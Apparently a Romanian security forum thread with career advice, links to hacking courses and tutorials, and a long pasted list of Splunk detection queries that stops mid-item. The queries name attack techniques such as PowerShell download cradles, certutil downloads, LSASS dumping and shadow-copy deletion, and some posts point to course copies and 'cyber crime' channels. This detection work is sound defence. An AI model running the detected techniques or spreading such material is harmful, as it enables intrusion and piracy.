WarLord

Mi se pare mie sau tu cauti un site de stiri senzationale, sunt site-uri de stiri dedicate ptr asa ceva. Apoi, sunt cursuri peste cursuri, poate nu in limba romana, dar in engleza, de unde poti sa inveti tot felul de tehnici cool de 'hacking', si apoi de acolo dezvolti tu dupa necesitati. Am mai spus inainte, ca exista cursuri pe Telegram lol. Astazi se cheltuieste enorm de mult timp si bani, sa nu vorbesc de sacrificul personal, dar firmele in general, sa faca research pe teme hacking de la 'initial foothold', la exploitation, priv escalation, etc. Numai tema asta de initial foothold e destula sa te tina treaz noaptea, ca daca asta nu-ti reuseste, nu continui cu pentestul; eventual le ceri sa-ti dea whitelist la .exe tau. Sa faci ceva ilegal, nu se merita, si daca inveti pe altii, inveti sa dai cu disclaimer-ul. Lucrurile s-au complicat foarte mult pe partea de security in general, nu ca nu era deja destul de, dar nu mai e ce era acuma 5-10-15 ani. Apoi pe partea de firme multi se chinuie, mai ales in vremuri economice dificile ca astea, unde pana si companiile mari reduc din bugeturi, si apoi in 6-12 luni anunta breach. Nu mai e nevoie sa stai pe forumuri sa inveti ceva, cand totul e pe youtube, pagini Medium si blogurile companiilor. Da, observ ca e mai putina activitate aici ca mai demult, dar si daca mergi pe Discorduri cam tot la fel e, decat daca se vinde sau discuta un produs (MalwareDev Academy, etc). In rest, e cam mort din lipsa de timp. Intrii 10-15 minute, si iesi dezamagit ca nu ai gasit nimic important ptr tine. Mai nou pe forumuri oamenii aduc probleme de rezolvat, dezvolta ceva si nu le iese, in rest, cam asta am devenit.

Cei care is implicati in domeniul securitatii dau inapoi comunitatii. Cei care nu sunt, nu dau. De unde? Nu au ptr ce multumi. Unii, si destui, dau inapoi dar la un cost, ca na sub pretextul capitalismului, si apoi sa le ajunga si lor de un Lamborgini, sau casa undeva. Munca in domeniul cyber a munca multa, cercetare, esecuri multe si putine succesuri, apoi sa nu mai vorb de timp petrecut departe de familie. Da, banii sunt buni, si daca te poti limita de la ora 9 la 5, e super. Lucrurile devin tot mai complicate si pe partea de cyber, pentesting, red teaming. Nu mai ajunge sa stii numai C2s, Microsoft AD, IT in general, ca trebuie sa te implici si in cloud, devops automatizare, exploit development, etc. Asta necesita munca.

Trist ca numai 133 de vizualizari.

Luati cand timp e cald: https://mega.nz/folder/hjtyyRIb#8jLZ1zQ3-XXEfa90hxmk3g

Luati cat timp e cald: https://mega.nz/folder/xnNCkK4Y#3-6vsDNOGB1zdhbl3IhlZQ/folder/1ucHwb6J

Either use English or Romanian. I doubt anyone speaks Russian here. Используйте либо английский, либо румынский язык. Сомневаюсь, что здесь кто-то говорит по-русски.

Hai ca poate lucreaza ptr o companie in securitate si au dezvoltat si ei o campanie de phishing interna, si au nevoie de niste pagini.

Asculta careva de aici? https://darknetdiaries.com/episode/28/ Israel has their own version of the NSA called Unit 8200. Listen along to learn what someone gets into the group, what they do, and what these members do once they leave the unit. Governments are hacking into other governments. They do it to steal secrets or find how many weapons they have, if they’re planning a strike, or if there’s anything else that might be a threat. Some nations are much more advanced at security than others. One country with advanced cyber-security capabilities is Israel. Prime Minister Benjamin Netanyahu.

Nu ai cum sa nu gasesti materialul ptr OSCP, OSEP, etc decat daca nu stii sa cauti pe internet. Sfat, cauta pe Telegram si o sa te imbeti de cap de materiale, cheatsheets, linkuri, sfaturi, cyber crime, etc. Apoi mai sunt canale de Discord ptr sfaturi.

Ar trebui sa inveti IT in primul rand. Adica sisteme operare (Windows, Linux), retele (Network+, CCNA nivel), ceva programare (Python, C, C#), bash scripting, si web. Dupa aia te poti orienta. Dupa le faci macar pe astea, nici nu poti visa la pentester. Parerea mea.

Ofițerul specialist IT&C are misiunea de a identifica soluții pentru o serie de provocări tehnologice, de la dezvoltarea unor instrumente software, a sistemelor informatice enterprise și oferirea de soluții bazate pe platforme hardware, până la proiectarea, administrarea și întreținerea rețelelor de comunicații, în conformitate cu cele mai noi standarde existente pe piață. El lucrează cu tehnologii de ultimă generație, în echipe mixte constituite din dezvoltatori, administratori de infrastructuri, specialiști în securitate IT&C și beneficiari, pentru toate liniile de activitate ale Serviciului, precum și pentru parteneri externi. Pentru că tehnologia la nivel mondial evoluează într-un ritm alert, el se adaptează și inovează permanent, contribuția lui fiind vitală într-un angrenaj sofisticat și eficient, așa cum este Serviciului Român de Informații, cu implicații directe în protejarea siguranței naționale. Candidații interesați să ocupe un post de ofițer specialist IT&C trebuie să îndeplinească condițiile de încadrare în Serviciul Român de Informații și să promoveze toate etapele specifice de selecție. https://www.sri.ro/aplica

Am gasit pe internet asta, si am crezut ca e interesant ptr group. Ptr mai multe video - https://www.youtube.com/@Preludeorg

Ptr cei interesati de securitate. Enjoy! https://mega.nz/folder/cuYXhQxT#WABLdQtsLSf2O1WWEL8bjQ

[Hacksnation.com] Recon for Ethical Hacking Penetration Testing & Bug Bounty https://mega.nz/folder/CDphRCJB#eBZqSmleyW6Thld_8RbZwQ

[Hacksnation.com] Hacking in Practice Intensive Ethical Hacking MEGA Course: https://mega.nz/folder/STp0RTgI#9evucI3TuA4ovRHwIzkZjw

🐍 Python for Hackers: Learn by building - @hacklido #01 - SSH Bruteforcer using Asynchronous Programming (https://hacklido.com/blog/525-python-for-hackers-1-ssh-bruteforcer-using-asynchronous-programming) #02 - FTP Bruteforcer using asynchronous Programming (https://hacklido.com/blog/526-python-for-hackers-2-ftp-bruteforcer-using-asynchronous-programming) #03 - Building Directory Buster using asynchronous programming (https://hacklido.com/blog/565-python-for-hackers-3-building-directory-buster-using-asynchronous-programming) #04 - Building Arp Spoofing/Posioning Script (https://hacklido.com/blog/580-python-for-hackers-4-building-arp-spoofingposioning-script) #05 - Building A Mutlithreaded Network Scanner (https://hacklido.com/blog/642-python-for-hacker-5-building-a-mutlithreaded-network-scanner) #06 - Building A Recursive Web Crawler (https://hacklido.com/blog/647-python-for-hackers-6-building-a-recursive-web-crawler) #07 - Building a multithreaded Subdomain Bruteforcer (https://hacklido.com/blog/653-python-for-hackers-7-building-a-multithreaded-subdomain-bruteforcer) #08 - Building A PDF Password Brute Forcer (https://hacklido.com/blog/654-python-for-hackers-8-building-a-pdf-password-brute-forcer) #09 - Building a Hash Cracker (https://hacklido.com/blog/655-python-for-hackers-9-building-a-hash-cracker) #10 - Building a reverse shell (https://hacklido.com/blog/656-python-for-hackers-10-building-a-reverse-shell) 🔖 Collection: https://hacklido.com/lists/5

Splunk Use Cases 24 November 2021 - 72 mins read time Tags: Splunk 1- Windows Audit Log Tampering Check for any tampering done to Windows audit logs. index=__your_sysmon_index__ (sourcetype=wineventlog AND (EventCode=1102 OR EventCode=1100)) OR (sourcetype=wineventlog AND EventCode=104) | stats count by _time EventCode Message sourcetype host 2- Finding Large Web Uploads Find large file uploads that could point to data exfiltration in your network. index=__your_sysmon_index__ sourcetype=websense* | where bytes_out > 35000000 | table _time src_ip bytes* uri 3- Detecting Recurring Malware on Host Using anti-virus logs to detect if malware is recurring on a host after being removed. index=__your_sysmon_index__ sourcetype=symantec:* | stats count range(_time) as TimeRange by Risk_Name, Computer_Name | where TimeRange>1800 | eval TimeRange_In_Hours = round(TimeRange/3600,2), TimeRange_In_Days = round(TimeRange/3600/24,2) 4-Detecting Brute Force Attacks A brute-force attack consists of a multiple login attempts using many passwords by an unauthorized user/attacker with the hope of eventually guessing the correct password. index=__your_sysmon_index__ sourcetype=winxsecurity user=* user!"" | stats count(eval(action="success")) as successes count(eval(action="failure")) as failures by user, ComputerName | where successes>0 AND failures>100 Windows index=windows source="WinEventLog:Security" EventCode=4625 | bin _time span=5m | stats count by _time,user,host,src,action | where count >= 5 Linux index=linux source="/var/log/auth.log" "Failed password" | bin _time span=5m | stats count by _time,user,host,src,action | where count >= 5 5- Detecting Unencrypted Web Communications Find unencrypted web communications that could lead to a data breach. index=__your_sysmon_index__ sourcetype=firewall_data dest_port!=443 app=workday* | table _time user app bytes* src_ip dest_ip dest_port 6- Identifying Web Users By Country Use IPs in your data to report and visualize user locations. index=web sourcetype=access_combined | iplocation clientip | geostats dc(clientip) by Country 7- Identifying Slow Web Content A slow loading web site can not only frustrate users, but can also hurt search rankings. index=web sourcetype=ms:iis:auto OR sourcetype=apache: access | stats avg(response_time) as art by uri_path | eval "Average Response Time" = round(art,2) | sort -"Average Response Time" | table uri_path, "Average Response Time" 8- Finding New Local Admin Accounts Often an attack will include the creation of a new user, followed by permissions being elevated to an admin level. index=win_servers sourcetype=windows:security EventCode=4720 OR (EventCode=4732 Administrators) | transaction Security_ID maxspan=180m | search EventCode=4720 EventCode=4732 | table _time, EventCode, Recurity_ID, SamAccountName 9- Finding Interactive Logins From Service Accounts Most service accounts should never interactively log into servers. index=systems sourcetype=audit_logs user=svc_* | stats earliest(_time) as earliest latest(_time) as latest by user, dest | eval isOutlier=if(earliest >= relative_time(now(), "-1d@d"), 1, 0) | convert ctime(earliest) ctime(Latest) 10- Log Volume Trending Visualizing the number of events being logged by an application can provide a simple, yet powerful indicator of the state of your application, or changes in the behavior of your code or environment. |tstats prestats=t count WHERE index=apps by host _time span=1m |timechart partial=f span=1m count by host limit=0 11- Basic TOR Traffic Detection Use firewall data to find TOR traffic on your network. index=network sourcetype=firewall_data app=tor src_ip=* | table _time src_ip src_port dest_ip dest_port bytes app 12- Measuring Storage I/O Latency Quickly find I/O bottlenecks across your systems. index=main sourcetype=iostat | timechart avg(latency) by host 13- Measuring Storage Speed I/O Utilization by Host It simple to track disk I/O, helping you quickly discover storage issues on your servers. index=main sourcetype=iostat | eval hostdevice=host+":"+Device | timechart avg(total_ops) by hostdevice 14- Measuring Memory Utilization by Host It’s easy to track memory utilization of your systems using Splunk Enterprise. index=main sourcetype=vmstat | stats max(memUsedPct) as memused by host | where memused>80 15- Rogue DNS detection Look for DNS requests that are not destined for the dedicated DNS server. index=security sourcetype=cp_log src_ip!=192.168.14.10 dest_ip!=192.168.14.10 protocol=53 action!=Drop | where dest_ip="192.168.0.0/16" AND src_ip="192.168.0.0/16" | stats count, values(dest_ip) by src_ip 16- Suspicious PowerShell Commands Look for logs with commands that try to download external scripts/content or bypass PowerShell. index=windows source="WinEventLog:Microsoft-Windows-PowerShell/Operational" EventCode=4104 AND ((ScriptBlockText=*-noni* *iex* *New-Object*) OR (ScriptBlockText=*-ep* *bypass* *-Enc*) OR (ScriptBlockText=*powershell* *reg* *add* *HKCU\\software\\microsoft\\windows\\currentversion\\run*) OR (ScriptBlockText=*bypass* *- noprofile* *-windowstyle* *hidden* *new-object* *system.net.webclient* *.download*) OR (ScriptBlockText=*iex* *New-Object* *Net.WebClient* *.Download*)) | table Computer, ScriptBlockText, UserID 17- Windows audit log cleared Look for security logs filtered with EventCode 1102. index=windows source="WinEventLog:Security" EventCode=1102 | table _time, host, signature, user 18- Detecting Network and Port Scanning Look for distinct count of destination ports within a short span of time. | from datamodel:"Network_Traffic"."All_Traffic" | stats dc(dest_port) as dc_dest_port by src, dest | where dc_dest_port > 10 OR index=__your_sysmon_index__ sourcetype=firewall* | stats dc(dest_port) as num_dest_port dc(dest_ip) as num_dest_ip by src_ip | where num_dest_port >500 OR num_dest_ip >500 19- Unusual Access Look for count of multiple failed login attempts where successful login is true. | from datamodel:"Authentication"."Authentication" | where like(app,"ssh") | stats list(action) as Attempts, count(eval(match(action,"failure"))) as Failed, count(eval(match(action,"success"))) as Success by user,src,dest,app | where mvcount(Attempts)>=6 AND Success>0 AND Failed>=5 20- Malware Attack Look for infection count of malware attack. | from datamodel:"Malware"."Malware_Attacks" | stats dc("signature") as "infection_count" by "dest" | where 'infection_count'>1 21-Attempt To Add Certificate To Untrusted Store Adversaries may add their own root certificate to the certificate store, to cause the web browser to trust that certificate and not display a security warning when it encounters the previously unseen certificate. This action may be the precursor to malicious activity. | tstats count min(_time) as firstTime values(Processes.process) as process max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=*certutil* (Processes.process=*-addstore*) by Processes.parent_process Processes.process_name Processes.user 22- Batch File Write to System32 While batch files are not inherently malicious, it is uncommon to see them created after OS installation, especially in the Windows directory. This analytic looks for the suspicious activity of a batch file being created within the C:\Windows\System32 directory tree. There will be only occasional false positives due to administrator actions. | tstats count min(_time) as firstTime max(_time) as lastTime values(Filesystem.dest) as dest values(Filesystem.file_name) as file_name values(Filesystem.user) as user from datamodel=Endpoint.Filesystem by Filesystem.file_path | rex field=file_name "(?<file_extension>\.[^\.]+)$" | search file_path=*system32* AND file_extension=.bat 23- BCDEdit Failure Recovery Modification This search looks for flags passed to bcdedit.exe modifications to the built-in Windows error recovery boot configurations. This is typically used by ransomware to prevent recovery. | tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = bcdedit.exe Processes.process="*recoveryenabled*" (Processes.process="* no*") by Processes.process_name Processes.process Processes.parent_process_name Processes.dest Processes.user 24- BITS Job Persistence The following query identifies Microsoft Background Intelligent Transfer Service utility bitsadmin.exe scheduling a BITS job to persist on an endpoint. The query identifies the parameters used to create, resume or add a file to a BITS job. Typically seen combined in a oneliner or ran in sequence. If identified, review the BITS job created and capture any files written to disk. It is possible for BITS to be used to upload files and this may require further network data analysis to identify. You can use bitsadmin /list /verbose to list out the jobs during investigation. | tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=bitsadmin.exe Processes.process IN (*create*, *addfile*, *setnotifyflags*, *setnotifycmdline*, *setminretrydelay*, *setcustomheaders*, *resume* ) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id 25- BITSAdmin Download File The following query identifies Microsoft Background Intelligent Transfer Service utility bitsadmin.exe using the transfer parameter to download a remote object. In addition, look for download or upload on the command-line, the switches are not required to perform a transfer. Capture any files downloaded. Review the reputation of the IP or domain used. Typically once executed, a follow on command will be used to execute the dropped file. Note that the network connection or file modification events related will not spawn or create from bitsadmin.exe, but the artifacts will appear in a parallel process of svchost.exe with a command-line similar to svchost.exe -k netsvcs -s BITS. It’s important to review all parallel and child processes to capture any behaviors and artifacts. In some suspicious and malicious instances, BITS jobs will be created. You can use bitsadmin /list /verbose to list out the jobs during investigation. | tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=bitsadmin.exe Processes.process=*transfer* by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id 26- CertUtil Download With URLCache and Split Arguments Certutil.exe may download a file from a remote destination using urlcache. This behavior does require a URL to be passed on the command-line. In addition, f (force) and split (Split embedded ASN.1 elements, and save to files) will be used. It is not entirely common for certutil.exe to contact public IP space. However, it is uncommon for certutil.exe to write files to world writeable paths.\ During triage, capture any files on disk and review. Review the reputation of the remote IP or domain in question. | tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=certutil.exe Processes.process=*urlcache* Processes.process=*split* by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id 27- CertUtil Download With VerifyCtl and Split Arguments Certutil.exe may download a file from a remote destination using VerifyCtl. This behavior does require a URL to be passed on the command-line. In addition, f (force) and split (Split embedded ASN.1 elements, and save to files) will be used. It is not entirely common for certutil.exe to contact public IP space. \ During triage, capture any files on disk and review. Review the reputation of the remote IP or domain in question. Using VerifyCtl, the file will either be written to the current working directory or %APPDATA%\..\LocalLow\Microsoft\CryptnetUrlCache\Content\<hash>. | tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=certutil.exe Processes.process=*verifyctl* Processes.process=*split* by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id 28- Certutil exe certificate extraction This search looks for arguments to certutil.exe indicating the manipulation or extraction of Certificate. This certificate can then be used to sign new authentication tokens specially inside Federated environments such as Windows ADFS. | tstats count min(_time) as firstTime values(Processes.process) as process max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=certutil.exe Processes.process = "* -exportPFX *" by Processes.parent_process Processes.process_name Processes.process Processes.user 29- CertUtil With Decode Argument CertUtil.exe may be used to encode and decode a file, including PE and script code. Encoding will convert a file to base64 with ----BEGIN CERTIFICATE----- and ----END CERTIFICATE----- tags. Malicious usage will include decoding a encoded file that was downloaded. Once decoded, it will be loaded by a parallel process. Note that there are two additional command switches that may be used - encodehex and decodehex. Similarly, the file will be encoded in HEX and later decoded for further execution. During triage, identify the source of the file being decoded. Review its contents or execution behavior for further analysis. | tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=certutil.exe Processes.process=*decode* by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id 30- Create local admin accounts using net exe This search looks for the creation of local administrator accounts using net.exe. | tstats count values(Processes.user) as user values(Processes.parent_process) as parent_process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=net.exe OR Processes.process_name=net1.exe) AND (Processes.process=*localgroup* OR Processes.process=*/add* OR Processes.process=*user*) by Processes.process Processes.process_name Processes.dest |`create_local_admin_accounts_using_net_exe_filter` 31- Create Remote Thread into LSASS Actors may create a remote thread into the LSASS service as part of a workflow to dump credentials. `sysmon` EventID=8 TargetImage=*lsass.exe | stats count min(_time) as firstTime max(_time) as lastTime by Computer, EventCode, TargetImage, TargetProcessId | rename Computer as dest 32- Create Service In Suspicious File Path This detection is to identify a creation of “user mode service” where the service file path is located in non-common service folder in windows. `wineventlog_system` EventCode=7045 Service_File_Name = "*\.exe" NOT (Service_File_Name IN ("C:\\Windows\\*", "C:\\Program File*", "C:\\Programdata\\*", "%systemroot%\\*")) Service_Type = "user mode service" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode Service_File_Name Service_Name Service_Start_Type Service_Type 33- Common Windows Process Masquerading “Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.” Malware authors often use this technique to hide malicious executables behind legitimate Windows executable names (e.g. lsass.exe, svchost.exe, etc). index=__your_sysmon_index__ source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" AND ( (process_name=svchost.exe AND NOT (process_path="C:\\Windows\\System32\\svchost.exe" OR process_path="C:\\Windows\\SysWow64\\svchost.exe")) OR (process_name=smss.exe AND NOT process_path="C:\\Windows\\System32\\smss.exe") OR (process_name=wininit.exe AND NOT process_path="C:\\Windows\\System32\\wininit.exe") OR (process_name=taskhost.exe AND NOT process_path="C:\\Windows\\System32\\taskhost.exe") OR (process_name=lasass.exe AND NOT process_path="C:\\Windows\\System32\\lsass.exe") OR (process_name=winlogon.exe AND NOT process_path="C:\\Windows\\System32\\winlogon.exe") OR (process_name=csrss.exe AND NOT process_path="C:\\Windows\\System32\\csrss.exe") OR (process_name=services.exe AND NOT process_path="C:\\Windows\\System32\\services.exe") OR (process_name=lsm.exe AND NOT process_path="C:\\Windows\\System32\\lsm.exe") OR (process_name=explorer.exe AND NOT process_path="C:\\Windows\\explorer.exe") ) 34- Unusual Child Process spawned using DDE exploit Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution. index = __your_sysmon__index__ (ParentImage="*excel.exe" OR ParentImage="*word.exe" OR ParentImage="*outlook.exe") Image="*.exe" 35- Detecting Tampering of Windows Defender Command Prompt In an attempt to avoid detection after compromising a machine, threat actors often try to disable Windows Defender. This is often done using “sc” [service control], a legitimate tool provided by Microsoft for managing services. This action interferes with event detection and may lead to a security event going undetected, thereby potentially leading to further compromise of the network. index= __your_sysmon__index__ EventCode=1 Image = "C:\\Windows\\System32\\sc.exe" | regex CommandLine="^sc\s*(config|stop|query)\sWinDefend$" 36- Disable UAC Threat actors often, after compromising a machine, try to disable User Access Control (UAC) to escalate privileges. This is often done by changing the registry key for system policies using “reg.exe”, a legitimate tool provided by Microsoft for modifying the registry via command prompt or scripts. This action interferes with UAC and may enable a threat actor to escalate privileges on the compromised system, thereby allowing further exploitation of the system. sourcetype = __your_sysmon_index__ ParentImage = "C:\\Windows\\System32\\cmd.exe" | where like(CommandLine,"reg.exe%HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System%REG_DWORD /d 0%") 37- Identifying Port Scanning Activity After compromising an initial machine, adversaries commonly attempt to laterally move across the network. The first step to attempt the lateral movement often involves conducting host identification, port and service scans on the internal network via the compromised machine using tools such as Nmap, Cobalt Strike, etc. sourcetype='firewall_logs' dest_ip = 'internal_subnet' | stats dc(dest_port) as pcount by src_ip | where pcount >5 38- Unusually Long Command Line Strings Often, after a threat actor gains access to a system, they will attempt to run some kind of malware to further infect the victim machine. These malware often have long command line strings, which could be a possible indicator of attack. Here, we use sysmon and Splunk to first find the average command string length and search for command strings that stretch over multiple lines, thus identifying anomalies and possibly malicious commands. index=__your_sysmon_index__ sourcetype="xmlwineventlog" EventCode=4688 |eval cmd_len=len(CommandLine) | eventstats avg(cmd_len) as avg by host| stats max(cmd_len) as maxlen, values(avg) as avgperhost by host, CommandLine | where maxlen > 10*avgperhost 39- Clearing Windows Logs with Wevtutil In an attempt to clear traces after compromising a machine, threat actors often try to clear Windows Event logs. This is often done using “wevtutil”, a legitimate tool provided by Microsoft. This action interferes with event collection and notification, and may lead to a security event going undetected, thereby potentially leading to further compromise of the network. index=__your_sysmon_index__ sourcetype= __your__windows__sysmon__sourcetype EventCode=1 Image=*wevtutil* CommandLine=*cl* (CommandLine=*System* OR CommandLine=*Security* OR CommandLine=*Setup* OR CommandLine=*Application*) 40- Unusual Child Process for Spoolsv.Exe or Connhost.Exe After gaining initial access to a system, threat actors attempt to escalate privileges as they may be operating within a lower privileged process which does not allow them to access protected information or carry out tasks which require higher permissions. A common way of escalating privileges in a system is by externally invoking and exploiting spoolsv or connhost executables, both of which are legitimate Windows applications. This query searches for an invocation of either of these executables by a user, thus alerting us of any potentially malicious activity. (index=__your_sysmon_index__ EventCode=1) (Image=C:\\Windows\\System32\\spoolsv.exe* OR Image=C:\\Windows\\System32\\conhost.exe) ParentImage = "C:\\Windows\\System32\\cmd.exe" 41- Detecting Shadow Copy Deletion via Vssadmin.exe After compromising a network of systems, threat actors often try to delete Shadow Copy in an attempt to prevent administrators from restoring the systems to versions present before the attack. This is often done via vssadmin, a legitimate Windows tool to interact with shadow copies. This non-detection of this technique, which is often employed by ransomware strains such as “Olympic Destroyer”, may lead to a failure in recovering systems after an attack. index=__your_win_event_log_index__ EventType=4688 CommandLine:"delete" OriginalFileName:"VSSADMIN.EXE" 42- Webshell-Indicative Process Tree A web shell is a web script placed on an openly accessible web server to allow an adversary to use the server as a gatway in a network. As the shell operates, commands will be issued from within the web application into the broader server operating system. This analytic looks for host enumeration executables initiated by any web service that would not normally be executed within that environment. index=__your_sysmon_index__ (ParentImage="C:\\Windows\\System32\\services.exe" Image="C:\\Windows\\System32\\cmd.exe" (CommandLine="*echo*" AND CommandLine="*\\pipe\\*")) OR (Image="C:\\Windows\\System32\\rundll32.exe" CommandLine="*,a /p:*") 43- Get System Elevation Cyber actors frequently escalate to the SYSTEM account after gaining entry to a Windows host, to enable them to carry out various attacks more effectively. Tools such as Meterpreter, Cobalt Strike, and Empire carry out automated steps to “Get System”, which is the same as switching over to the System user account. Most of these tools utilize multiple techniques to try and attain SYSTEM: in the first technique, they create a named pipe and connects an instance of cmd.exe to it, which allows them to impersonate the security context of cmd.exe, which is SYSTEM. In the second technique, a malicious DLL is injected into a process that is running as SYSTEM; the injected DLL steals the SYSTEM token and applies it where necessary to escalate privileges. This analytic looks for both of these techniques. index=__your_sysmon_index__ (ParentImage="C:\\Windows\\System32\\services.exe" Image="C:\\Windows\\System32\\cmd.exe" (CommandLine="*echo*" AND CommandLine="*\\pipe\\*")) OR (Image="C:\\Windows\\System32\\rundll32.exe" CommandLine="*,a /p:*") index=__your_sysmon_index__ (Image="C:\\Windows\\System32\\cmd.exe" OR CommandLine="*%COMSPEC%*") (CommandLine="*echo*" AND CommandLine="*\pipe\*") 44- Boot or Logon Initialization Scripts Adversaries may schedule software to run whenever a user logs into the system; this is done to establish persistence and sometimes for lateral movement. This trigger is established through the registry key HKEY_CURRENT_USER\EnvironmentUserInitMprLogonScript. This signature looks edits to existing keys or creation of new keys in that path. Users purposefully adding benign scripts to this path will result in false positives; that case is rare, however. There are other ways of running a script at startup or login that are not covered in this signature. Note that this signature overlaps with the Windows Sysinternals Autoruns tool, which would also show changes to this registry path. (index=__your_sysmon_index__ EventCode=1 Image="C:\\Windows\\System32\\reg.exe" CommandLine="*add*\\Environment*UserInitMprLogonScript") OR (index=__your_sysmon_index__ (EventCode=12 OR EventCode=14 OR EventCode=13) TargetObject="*\\Environment*UserInitMprLogonScript") 45- Local Network Sniffing Adversaries may use a variety of tools to gain visibility on the current status of things on the network: which processes are listening on which ports, which services are running on other hosts, etc. This analytic looks for the names of the most common network sniffing tools. While this may be noisy on networks where sysadmins are using any of these tools on a regular basis, in most networks their use is noteworthy. (index=__your_sysmon_index__ EventCode=1) (Image="*tshark.exe" OR Image="*windump.exe" OR (Image="*logman.exe" AND ParentImage!="?" AND ParentImage!="C:\\Program Files\\Windows Event Reporting\\Core\\EventReporting.AgentService.exe") OR Image="*tcpdump.exe" OR Image="*wprui.exe" OR Image="*wpr.exe") 46- DLL Injection with Mavinject Injecting a malicious DLL into a process is a common adversary TTP. Although the ways of doing this are numerous, mavinject.exe is a commonly used tool for doing so because it roles up many of the necessary steps into one, and is available within Windows. Attackers may rename the executable, so we also use the common argument “INJECTRUNNING” as a related signature here. Whitelisting certain applications may be necessary to reduce noise for this analytic. (index=__your_sysmon_index__ EventCode=1) (Image="C:\\Windows\\SysWOW64\\mavinject.exe" OR Image="C:\\Windows\\System32\\mavinject.exe" OR CommandLine="*\INJECTRUNNING*") 47- Processes Started From Irregular Parent Adversaries may start legitimate processes and then use their memory space to run malicious code. This analytic looks for common Windows processes that have been abused this way in the past; when the processes are started for this purpose they may not have the standard parent that we would expect. This list is not exhaustive, and it is possible for cyber actors to avoid this discepency. These signatures only work if Sysmon reports the parent process, which may not always be the case if the parent dies before sysmon processes the event. (index=__your_sysmon_index__ EventCode=1) AND ParentImage!="?" AND ParentImage!="C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe" AND ParentImage!="C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe" AND ((Image="C:\\Windows\System32\\smss.exe" AND (ParentImage!="C:\\Windows\\System32\\smss.exe" AND ParentImage!="System")) OR (Image="C:\\Windows\\System32\\csrss.exe" AND (ParentImage!="C:\\Windows\\System32\\smss.exe" AND ParentImage!="C:\\Windows\\System32\\svchost.exe")) OR (Image="C:\\Windows\\System32\\wininit.exe" AND ParentImage!="C:\\Windows\\System32\\smss.exe") OR (Image="C:\\Windows\\System32\\winlogon.exe" AND ParentImage!="C:\\Windows\\System32\\smss.exe") OR (Image="C:\\Windows\\System32\\lsass.exe" and ParentImage!="C:\\Windows\\System32\\wininit.exe") OR (Image="C:\\Windows\\System32\\LogonUI.exe" AND (ParentImage!="C:\\Windows\\System32\\winlogon.exe" AND ParentImage!="C:\\Windows\\System32\\wininit.exe")) OR (Image="C:\\Windows\\System32\\services.exe" AND ParentImage!="C:\\Windows\\System32\\wininit.exe") OR (Image="C:\\Windows\\System32\\spoolsv.exe" AND ParentImage!="C:\\Windows\\System32\\services.exe") OR (Image="C:\\Windows\\System32\\taskhost.exe" AND (ParentImage!="C:\\Windows\\System32\\services.exe" AND ParentImage!="C:\\Windows\\System32\\svchost.exe")) OR (Image="C:\\Windows\\System32\\taskhostw.exe" AND (ParentImage!="C:\\Windows\\System32\\services.exe" AND ParentImage!="C:\\Windows\\System32\\svchost.exe")) OR (Image="C:\\Windows\System32\\userinit.exe" AND (ParentImage!="C:\\Windows\\System32\\dwm.exe" AND ParentImage!="C:\\Windows\\System32\\winlogon.exe"))) 48- Clear Powershell Console Command History Adversaries may attempt to conceal their tracks by deleting the history of commands run within the Powershell console, or turning off history saving to begin with. This analytic looks for several commands that would do this. This does not capture the event if it is done within the console itself; only commandline-based commands are detected. Note that the command to remove the history file directly may very a bit if the history file is not saved in the default path on a particular system. (index=__your_sysmon_index__ EventCode=1) (CommandLine="*rm (Get-PSReadlineOption).HistorySavePath*" OR CommandLine="*del (Get-PSReadlineOption).HistorySavePath*" OR CommandLine="*Set-PSReadlineOption –HistorySaveStyle SaveNothing*" OR CommandLine="*Remove-Item (Get-PSReadlineOption).HistorySavePath*" OR CommandLine="del*Microsoft\\Windows\\Powershell\\PSReadline\\ConsoleHost_history.txt") 49- Local Permission Group Discovery Cyber actors frequently enumerate local or domain permissions groups. The net utility is usually used for this purpose. This analytic looks for any instances of net.exe, which is not normally used for benign purposes, although system administrator actions may trigger false positives. (index=__your_sysmon_index__ EventCode=1) Image="C:\\Windows\\System32\\net.exe" AND (CommandLine="* user*" OR CommandLine="* group*" OR CommandLine="* localgroup*" OR CommandLine="*get-localgroup*" OR CommandLine="*get-ADPrincipalGroupMembership*") 50- Network Share Connection Removal Adversaries may use network shares to exfliltrate date; they will then remove the shares to cover their tracks. This analytic looks for the removal of network shares via commandline, which is otherwise a rare event. (index=__your_sysmon_index__ EventCode=1) ((Image="C:\\Windows\\System32\\net.exe" AND CommandLine="*delete*") OR CommandLine="*Remove-SmbShare*" OR CommandLine="*Remove-FileShare*") 51- MSBuild and msxsl Trusted developer utilities such as MSBuild may be leveraged to run malicious code with elevated privileges. This analytic looks for any instances of msbuild.exe, which will execute any C# code placed within a given XML document; and 